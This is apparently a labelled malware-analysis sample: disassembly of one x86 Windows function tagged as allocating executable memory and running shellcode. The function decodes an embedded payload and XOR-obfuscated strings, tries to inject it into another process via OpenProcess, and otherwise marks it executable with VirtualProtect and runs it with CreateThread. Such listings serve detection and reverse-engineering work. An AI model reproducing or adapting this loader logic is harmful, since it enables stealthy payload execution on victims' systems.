Function at 0x4bddd0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
push ebx
push ecx
sub esp, 0xd8
call fcn.0040e04c
mov dword [esp], 0x4c913b
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push edx
mov ebx, eax
mov dword [esp], str.CreateThread
call fcn.0040168c
mov dword [esp], ebx
mov dword [esp + 4], eax
call fcn.004017f0
mov dword [ebp - 0xb8], eax
mov dword [esp], str.WaitForSingleObject
call fcn.0040168c
mov dword [esp], ebx
mov dword [esp + 4], eax
call fcn.004017f0
xor ecx, ecx
mov dword [ebp - 0xbc], eax
mov dword [ebp - 0x70], ecx
mov dword [ebp - 0x6c], ecx
mov dword [ebp - 0x68], ecx
mov dword [esp], 0x1465b0
call fcn.004bce60
mov dword [ebp - 0x80], eax
xor ebx, ebx
mov dword [ebp - 0x98], eax
mov eax, dword [ebx + 0x585ca0]
mov dword [esp], eax
mov ecx, dword [ebp - 0x98]
call fcn.004015b2
add ebx, 4
push eax
add dword [ebp - 0x98], 0x18
cmp ebx, 0x36648
jne 0x4bde5a
mov eax, dword [ebp - 0x98]
lea ebx, [ebp - 0x64]
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0x70], eax
add eax, 0x1465b0
mov dword [ebp - 0x68], eax
lea eax, [ebp - 0x70]
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.00401b00
jmp 0x4bdef6
lea eax, [ebp - 0x58]
mov dword [esp + 8], 0x20
mov dword [esp + 4], ebx
mov dword [esp], eax
call fcn.00401d5c
xor eax, eax
mov edi, dword [ebp - 0x54]
mov ebx, dword [ebp - 0x58]
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], eax
xor eax, eax
mov dword [ebp - 0x94], eax
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x8c], eax
cmp edi, ebx
je 0x4bdfc8
lea esi, [ebp - 0x34]
mov dword [esp + 4], 0x20
mov dword [esp], esi
call fcn.00401e4b
mov eax, dword [ebp - 0x94]
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x40], eax
mov dword [esp], esi
call fcn.0049c2b8
push eax
mov eax, dword [ebp - 0x40]
lea esi, [ebp - 0x28]
mov dword [ebp - 0x94], eax
lea eax, [ebp - 0x34]
mov dword [esp + 8], eax
mov dword [esp + 4], ebx
mov dword [esp], esi
call fcn.00401852
mov eax, dword [ebp - 0x8c]
lea ecx, [ebp - 0x4c]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x90]
mov dword [ebp - 0x48], eax
mov dword [esp], esi
call fcn.0049c2b8
push eax
mov eax, dword [ebp - 0x4c]
mov ecx, esi
add ebx, 0xc
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x90], eax
call fcn.00485d10
lea ecx, [ebp - 0x34]
call fcn.00485d10
jmp 0x4bdf32
xor ecx, ecx
mov dword [ebp - 0x28], 3
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x20], ecx
lea eax, [ebp - 0x28]
mov dword [esp + 4], eax
mov dword [esp], eax
call fcn.00423700
inc eax
je 0x4be01f
mov eax, dword [ebp - 0x90]
mov esi, dword [ebp - 0x8c]
xor edx, edx
mov dword [ebp - 0xa0], edx
sub eax, esi
mov dword [ebp - 0x7c], edx
sar eax, 2
mov dword [ebp - 0x84], edx
imul eax, eax, 0xaaaaaaab
mov dword [ebp - 0x88], edx
mov dword [ebp - 0x9c], eax
jmp 0x4be06f
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
cmp dword [eax], 4
jne 0x4bdfe9
jmp 0x4bdfd7
imul eax, dword [ebp - 0x88], 0xc
mov esi, dword [ebp - 0x94]
lea edx, [ebp - 0x28]
lea ecx, [esi + eax]
mov dword [esp + 8], ecx
mov edi, dword [ebp - 0x8c]
mov dword [esp], edx
add eax, edi
mov dword [esp + 4], eax
call fcn.00401897
mov ecx, dword [ebp - 0x24]
mov edi, dword [ebp - 0x28]
cmp edi, ecx
jne 0x4be082
lea ecx, [ebp - 0x28]
call fcn.00485d10
inc dword [ebp - 0x88]
mov edi, dword [ebp - 0x9c]
cmp dword [ebp - 0x88], edi
jne 0x4be02c
jmp 0x4be194
mov eax, dword [ebp - 0xa0]
mov esi, dword [ebp - 0x7c]
mov ebx, ecx
sub ebx, edi
sub eax, esi
cmp eax, ebx
jb 0x4be0d2
mov dword [esp + 4], ecx
mov dword [esp + 8], esi
mov dword [esp], edi
call fcn.00483cd0
mov eax, dword [ebp - 0x7c]
add ebx, eax
mov dword [esp + 4], eax
mov dword [esp + 8], ebx
mov dword [esp], eax
call fcn.00483d0c
mov eax, dword [ebp - 0x7c]
mov dword [esp + 4], edi
mov dword [esp], edi
mov dword [esp + 8], eax
call fcn.00483cd0
mov dword [ebp - 0x7c], ebx
jmp 0x4be061
mov esi, dword [ebp - 0x84]
mov eax, dword [ebp - 0x7c]
sub eax, esi
mov esi, 0x7fffffff
sub esi, eax
cmp esi, ebx
jae 0x4be0f4
mov dword [esp], 0x4c9169
call fcn.004bf600
cmp eax, ebx
mov esi, ebx
mov ebx, 0x7fffffff
cmovae esi, eax
add esi, eax
jb 0x4be109
cmp esi, ebx
cmovbe ebx, esi
mov eax, ebx
mov dword [ebp - 0xa4], ecx
call fcn.00401592
mov dword [esp + 8], eax
mov esi, eax
mov eax, dword [ebp - 0x7c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x84]
mov dword [esp], eax
call fcn.00483d0c
mov dword [esp + 8], eax
mov ecx, dword [ebp - 0xa4]
mov dword [esp], edi
mov dword [esp + 4], ecx
call fcn.00483cd0
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x7c]
mov dword [esp + 4], eax
mov dword [esp], eax
call fcn.00483d0c
cmp dword [ebp - 0x84], 0
mov dword [ebp - 0x7c], eax
je 0x4be180
mov eax, dword [ebp - 0xa0]
mov edi, dword [ebp - 0x84]
sub eax, edi
mov dword [esp], edi
mov dword [esp + 4], eax
call fcn.004bce20
lea eax, [esi + ebx]
mov dword [ebp - 0x84], esi
mov dword [ebp - 0xa0], eax
jmp 0x4be061
mov eax, dword [ebp - 0x7c]
mov esi, dword [ebp - 0x84]
sub eax, esi
mov dword [ebp - 0xac], eax
mov dword [esp], eax
call fcn.004bce30
mov dword [ebp - 0x9c], eax
mov eax, dword [ebp - 0x84]
mov edx, dword [ebp - 0x9c]
cmp dword [ebp - 0x7c], eax
je 0x4be1cd
mov cl, byte [eax]
inc edx
inc eax
mov byte [edx - 1], cl
jmp 0x4be1bf
mov dword [esp], 0x4c7064
call fcn.00414410
mov dword [esp], 0x4c7054
mov ebx, eax
call fcn.00414410
cmp byte [ebx], 0
mov edx, eax
jne 0x4be20c
xor eax, eax
mov esi, 0x5bc36a
mov ecx, 6
mov dword [edx], eax
mov dword [edx + 4], eax
mov dword [edx + 8], eax
lea eax, [edx + 0xa]
mov edi, eax
rep movsd dword es:[edi], dword [esi]
mov byte [ebx], 1
cmp byte [edx + 9], 0
jne 0x4be263
lea ecx, [edx + 0xa]
mov esi, 0x79
mov eax, dword [edx + 4]
mov ebx, dword [edx]
lea edi, [eax + 1]
cmp edi, ebx
jne 0x4be229
inc eax
jmp 0x4be255
lea edi, [eax + 2]
cmp edi, ebx
jne 0x4be235
add eax, 2
jmp 0x4be255
cmp eax, ebx
jne 0x4be23f
mov eax, esi
xor byte [ecx], al
jmp 0x4be25b
lea edi, [eax + 4]
cmp ebx, edi
jne 0x4be24b
add eax, 3
jmp 0x4be255
lea edi, [eax + 5]
cmp ebx, edi
jne 0x4be25b
add eax, 4
xor byte [ecx], al
inc dword [edx]
jmp 0x4be21a
inc esi
inc ecx
mov eax, esi
cmp al, 0x91
jne 0x4be21a
mov byte [edx + 9], 1
add edx, 0xa
mov dword [esp], edx
call fcn.004016a5
mov dword [ebp - 0xa4], eax
mov dword [esp], 0x4c7084
call fcn.00414410
mov dword [esp], 0x4c7074
mov ebx, eax
call fcn.00414410
cmp byte [ebx], 0
mov edx, eax
jne 0x4be2b7
xor eax, eax
mov esi, 0x5bc352
mov ecx, 0xa
mov dword [edx], eax
mov dword [edx + 4], eax
mov dword [edx + 8], eax
lea eax, [edx + 0xa]
mov edi, eax
rep movsb byte es:[edi], byte [esi]
mov byte [ebx], 1
cmp byte [edx + 9], 0
jne 0x4be30e
lea ecx, [edx + 0xa]
mov esi, 0x79
mov eax, dword [edx + 4]
mov ebx, dword [edx]
lea edi, [eax + 1]
cmp ebx, edi
jne 0x4be2d4
inc eax
jmp 0x4be300
lea edi, [eax + 2]
cmp ebx, edi
jne 0x4be2e0
add eax, 2
jmp 0x4be300
cmp ebx, eax
jne 0x4be2ea
mov eax, esi
xor byte [ecx], al
jmp 0x4be306
lea edi, [eax + 4]
cmp ebx, edi
jne 0x4be2f6
add eax, 3
jmp 0x4be300
lea edi, [eax + 5]
cmp ebx, edi
jne 0x4be306
add eax, 4
xor byte [ecx], al
inc dword [edx]
jmp 0x4be2c5
inc esi
inc ecx
mov eax, esi
cmp al, 0x83
jne 0x4be2c5
mov byte [edx + 9], 1
add edx, 0xa
mov dword [esp], edx
call fcn.004016a5
mov dword [ebp - 0x88], eax
mov dword [esp], 0x4c70a4
call fcn.00414410
mov dword [esp], 0x4c7094
mov ebx, eax
call fcn.00414410
cmp byte [ebx], 0
mov edx, eax
jne 0x4be362
xor eax, eax
mov esi, 0x5bc33a
mov ecx, 3
mov dword [edx], eax
mov dword [edx + 4], eax
mov dword [edx + 8], eax
lea eax, [edx + 0xa]
mov edi, eax
rep movsd dword es:[edi], dword [esi]
mov byte [ebx], 1
cmp byte [edx + 9], 0
jne 0x4be3b9
lea ecx, [edx + 0xa]
mov esi, 0x7a
mov eax, dword [edx + 4]
mov ebx, dword [edx]
lea edi, [eax + 1]
cmp ebx, edi
jne 0x4be37f
inc eax
jmp 0x4be3ab
lea edi, [eax + 2]
cmp ebx, edi
jne 0x4be38b
add eax, 2
jmp 0x4be3ab
cmp ebx, eax
jne 0x4be395
mov eax, esi
xor byte [ecx], al
jmp 0x4be3b1
lea edi, [eax + 4]
cmp ebx, edi
jne 0x4be3a1
add eax, 3
jmp 0x4be3ab
lea edi, [eax + 5]
cmp ebx, edi
jne 0x4be3b1
add eax, 4
xor byte [ecx], al
inc dword [edx]
jmp 0x4be370
inc esi
inc ecx
mov eax, esi
cmp al, 0x86
jne 0x4be370
mov byte [edx + 9], 1
add edx, 0xa
mov dword [esp], edx
call fcn.004016a5
mov dword [ebp - 0xb0], eax
mov dword [esp], 0x4c70c4
call fcn.00414410
mov dword [esp], 0x4c70b4
mov ebx, eax
call fcn.00414410
cmp byte [ebx], 0
mov edx, eax
jne 0x4be40d
xor eax, eax
mov esi, str.7___b
mov ecx, 3
mov dword [edx], eax
mov dword [edx + 4], eax
mov dword [edx + 8], eax
lea eax, [edx + 0xa]
mov edi, eax
rep movsd dword es:[edi], dword [esi]
mov byte [ebx], 1
cmp byte [edx + 9], 0
jne 0x4be464
lea ecx, [edx + 0xa]
mov esi, 0x7a
mov eax, dword [edx + 4]
mov ebx, dword [edx]
lea edi, [eax + 1]
cmp ebx, edi
jne 0x4be42a
inc eax
jmp 0x4be456
lea edi, [eax + 2]
cmp ebx, edi
jne 0x4be436
add eax, 2
jmp 0x4be456
cmp ebx, eax
jne 0x4be440
mov eax, esi
xor byte [ecx], al
jmp 0x4be45c
lea edi, [eax + 4]
cmp ebx, edi
jne 0x4be44c
add eax, 3
jmp 0x4be456
lea edi, [eax + 5]
cmp ebx, edi
jne 0x4be45c
add eax, 4
xor byte [ecx], al
inc dword [edx]
jmp 0x4be41b
inc esi
inc ecx
mov eax, esi
cmp al, 0x86
jne 0x4be41b
mov byte [edx + 9], 1
add edx, 0xa
mov dword [esp], edx
call fcn.004016a5
mov dword [ebp - 0xb4], eax
mov dword [esp], 0x4c70e4
call fcn.00414410
mov dword [esp], 0x4c70d4
mov ebx, eax
call fcn.00414410
cmp byte [ebx], 0
mov edx, eax
jne 0x4be4b8
xor eax, eax
mov esi, 0x5bc30a
mov ecx, 3
mov dword [edx], eax
mov dword [edx + 4], eax
mov dword [edx + 8], eax
lea eax, [edx + 0xa]
mov edi, eax
rep movsd dword es:[edi], dword [esi]
mov byte [ebx], 1
cmp byte [edx + 9], 0
jne 0x4be50f
lea ecx, [edx + 0xa]
mov esi, 0x7b
mov eax, dword [edx + 4]
mov ebx, dword [edx]
lea edi, [eax + 1]
cmp ebx, edi
jne 0x4be4d5
inc eax
jmp 0x4be501
lea edi, [eax + 2]
cmp ebx, edi
jne 0x4be4e1
add eax, 2
jmp 0x4be501
cmp ebx, eax
jne 0x4be4eb
mov eax, esi
xor byte [ecx], al
jmp 0x4be507
lea edi, [eax + 4]
cmp ebx, edi
jne 0x4be4f7
add eax, 3
jmp 0x4be501
lea edi, [eax + 5]
cmp ebx, edi
jne 0x4be507
add eax, 4
xor byte [ecx], al
inc dword [edx]
jmp 0x4be4c6
inc esi
inc ecx
mov eax, esi
cmp al, 0x87
jne 0x4be4c6
mov byte [edx + 9], 1
add edx, 0xa
mov dword [esp], edx
call fcn.004016a5
mov dword [ebp - 0xa8], eax
mov dword [esp], 0x4c7104
call fcn.00414410
mov dword [esp], 0x4c70f4
mov ebx, eax
call fcn.00414410
cmp byte [ebx], 0
mov edx, eax
jne 0x4be564
xor edi, edi
lea eax, [eax + 0xa]
mov esi, 0x5bc2f2
mov ecx, 0xb
mov dword [eax - 0xa], edi
mov dword [eax - 6], edi
mov dword [eax - 2], edi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
mov byte [ebx], 1
cmp byte [edx + 9], 0
jne 0x4be5bb
lea ecx, [edx + 0xa]
mov esi, 0x7b
mov eax, dword [edx + 4]
mov ebx, dword [edx]
lea edi, [eax + 1]
cmp ebx, edi
jne 0x4be581
inc eax
jmp 0x4be5ad
lea edi, [eax + 2]
cmp ebx, edi
jne 0x4be58d
add eax, 2
jmp 0x4be5ad
cmp ebx, eax
jne 0x4be597
mov eax, esi
xor byte [ecx], al
jmp 0x4be5b3
lea edi, [eax + 4]
cmp ebx, edi
jne 0x4be5a3
add eax, 3
jmp 0x4be5ad
lea edi, [eax + 5]
cmp ebx, edi
jne 0x4be5b3
add eax, 4
xor byte [ecx], al
inc dword [edx]
jmp 0x4be572
inc esi
inc ecx
mov eax, esi
cmp al, 0x86
jne 0x4be572
mov byte [edx + 9], 1
add edx, 0xa
mov dword [esp], edx
call fcn.004016a5
mov esi, dword [ebp - 0x88]
mov edx, eax
mov eax, dword [ebp - 0xa4]
mov edi, dword [ebp - 0xb0]
or eax, esi
mov esi, dword [ebp - 0xb4]
or eax, edi
mov edi, dword [ebp - 0xa8]
or eax, esi
or eax, edi
or eax, edx
je 0x4be691
cmp dword [ebp - 0xa4], 0
jne 0x4be633
cmp dword [ebp - 0x88], 0
jne 0x4be63f
mov eax, dword [ebp - 0xb0]
mov dword [ebp - 0x88], eax
test eax, eax
jne 0x4be63f
mov dword [ebp - 0x88], esi
test esi, esi
jne 0x4be63f
test edi, edi
cmovne edx, edi
mov dword [ebp - 0x88], edx
jmp 0x4be63f
mov eax, dword [ebp - 0xa4]
mov dword [ebp - 0x88], eax
mov eax, dword [ebp - 0x88]
xor esi, esi
mov dword [esp], 0x43a
mov dword [esp + 4], esi
mov dword [esp + 8], eax
call dword [sym.imp.KERNEL32.dll_OpenProcess]
sub esp, 0xc
mov ebx, eax
test eax, eax
je 0x4be701
mov eax, dword [ebp - 0xac]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x9c]
mov dword [esp], ebx
mov dword [esp + 4], eax
call fcn.004018dc
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
jmp 0x4be701
lea eax, [ebp - 0x28]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0xac]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x9c]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
je 0x4be701
xor edx, edx
xor ecx, ecx
mov dword [esp + 0x14], edx
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], edx
mov eax, dword [ebp - 0x9c]
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp], ecx
mov eax, dword [ebp - 0xb8]
call eax
sub esp, 0x18
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
mov eax, dword [ebp - 0xbc]
call eax
push eax
push eax
mov eax, dword [ebp - 0x9c]
mov dword [esp], eax
call fcn.004bce00
mov eax, dword [ebp - 0x84]
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x7c]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0xa0]
mov dword [ebp - 0x20], eax
call fcn.00485d10
mov eax, dword [ebp - 0x94]
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x40], eax
call fcn.0049c2f0
mov eax, dword [ebp - 0x8c]
lea ecx, [ebp - 0x4c]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x90]
mov dword [ebp - 0x48], eax
call fcn.0049c2f0
lea ecx, [ebp - 0x58]
call fcn.0049c2f0
lea ecx, [ebp - 0x64]
call fcn.00485d10
mov esi, dword [ebp - 0x80]
cmp dword [ebp - 0x98], esi
je 0x4be856
mov ecx, dword [ebp - 0x80]
call fcn.0049d3d0
add dword [ebp - 0x80], 0x18
jmp 0x4be76a
lea ecx, [ebp - 0x70]
call fcn.00485cf0
lea esp, [ebp - 0x10]
xor eax, eax
pop ecx
pop ebx
pop esi
pop edi
pop ebp
lea esp, [ecx - 4]
ret